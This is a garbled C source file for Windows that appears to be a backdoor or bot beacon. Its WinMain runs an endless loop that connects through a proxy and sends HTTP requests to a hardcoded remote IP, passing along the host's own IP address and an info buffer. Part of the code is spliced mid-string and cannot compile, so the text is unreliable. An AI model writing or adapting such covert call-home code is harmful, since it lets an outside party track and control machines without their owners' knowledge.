#include char* getownaddr(char* out); int generator(int digi); char info[1024]; char old_dir[MAXDIR]; char new_dir[MAXDIR]; char *current_directory(char *path) { strcpy(path, "X:\\"); path[0] = 'A' + getdisk(); getcurdir(0, path+3); return(path); } int connector() { char ipremote[]="82.82.82.82"; char ipproxy[]="192.168.100.2"; int port=3128; char buf[1024]; char buf2[1024]; WSADATA wsaData; WSAStartup( MAKEWORD( 1, 1 ), &wsaData ); SOCKET sock = socket(AF_INET, SOCK_STREAM,0); struct sockaddr_in sa; sa.sin_port = htons(port); struct hostent *he = gethostbyname(ipproxy); memcpy(&sa.sin_addr, he->h_addr, sizeof(sa.sin_addr)); sa.sin_family = AF_INET; memset(&sa.sin_zero, 0, sizeof(sa.sin_zero)); connect(sock, (struct sockaddr*)(&sa), sizeof(sa)); char* chMyIpAddress; srand(time(0)); int digi; digi=rand(); sprintf(buf, "GET http://%s/forum.php?SID?%d&%s*%s HTTP/1.0\r\n"\ "Host: %s\r\n"\ "Connection: Close\r\n\r\n", ipremote,digi,getownaddr(ipproxy),info,ipremote); send(sock, buf, strlen(buf), 0); char recvbuf[1024]; int received = 0; while((received = recv(sock,recvbuf, sizeof(recvbuf)-1,0)) > 0) { recvbuf[received] = '\0'; printf(recvbuf); char *identsymbol="h_addr_list[nAdapter]) { struct sockaddr_in adr; memcpy(&adr.sin_addr, sh->h_addr_list[nAdapter], sh->h_length); out = inet_ntoa(adr.sin_addr); nAdapter++; } } } } WSACleanup(); return(out); } int generator(int digi) { srand(time(0)); digi=rand(); return(digi); } int WINAPI WinMain (HINSTANCE hInstance,HINSTANCE hPrevInstance,LPTSTR lpCmdLine,int nCmdShow) { for (;;) { connector(); } }